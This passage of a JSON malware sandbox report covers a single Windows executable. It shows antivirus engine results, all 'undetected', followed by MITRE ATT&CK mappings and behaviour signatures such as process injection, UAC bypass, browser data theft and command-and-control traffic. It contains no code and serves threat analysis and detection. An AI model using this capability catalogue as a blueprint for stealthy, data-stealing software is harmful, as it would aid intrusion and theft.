100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{},"mitre_attacks":[{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","identifiers":[{"type":"malicious","value":"Found an indicator for a scheduled task trigger"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Imports system security related APIs"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains ability to bypass UAC using COM object (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Calls an API typically used to decrypt the data"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Contains reference to licensed c/c++ library"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match - AES Encryption"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy sections"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Found Base64 decoding crypto library string in memory"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Contains ability to verify if file exist on disk (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Touches files"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"suspicious","value":"Contains ability to enumerate processes/modules/threads"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Contains registry location strings"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"suspicious","value":"Contains ability to retrieve the specified system metric or system configuration setting"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to query volume/memory size (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"suspicious","value":"Contains ability to retrieve a module handle"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query system locale (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"suspicious","value":"YARA signature match - Crypto Library"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops files with image extension"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"suspicious","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"HTTP request contains Base64 encoded artifacts"},{"type":"informative","value":"Found Base64 encoding crypto library string in memory"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\".exe\" called \"FindResourceA\" with parameter \"1\" - (UID: 00000000-00006900)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\".exe\" called \"LoadResource with parameter {'hModule': '0', 'hResInfo': '140700664627880'}\" (UID: 00000000-00006900)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$27","origin":"File/Memory","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00006900.00000000.68879.03400000.00000004.mdmp, 00000000-00006900.00000001.70800.03400000.00000004.mdmp, 00000000-00006900.00000002.72721.03400000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found Base64 decoding crypto library string in memory","description":"Found Base64 decoder \"AVBase64Decoder@CryptoPP@@\" - Source: \"00000000-00006900.00000001.70800.05070000.00000004.mdmp\")\n Found Base64 decoder \"AVBase64Decoder@CryptoPP@@\" - Source: \"00000000-00006900.00000001.70800.05A80000.00000040.mdmp\")\n Found Base64 decoder \"AVBase64Decoder@CryptoPP@@\" - Source: \"00000000-00006900.00000001.70800.05C00000.00000040.mdmp\")\n Found Base64 decoder \"AVBase64Decoder@CryptoPP@@\" - Source: \"00000000-00006900.00000002.72721.05070000.00000004.mdmp\")\n Found Base64 decoder \"AVBase64Decoder@CryptoPP@@\" - Source: 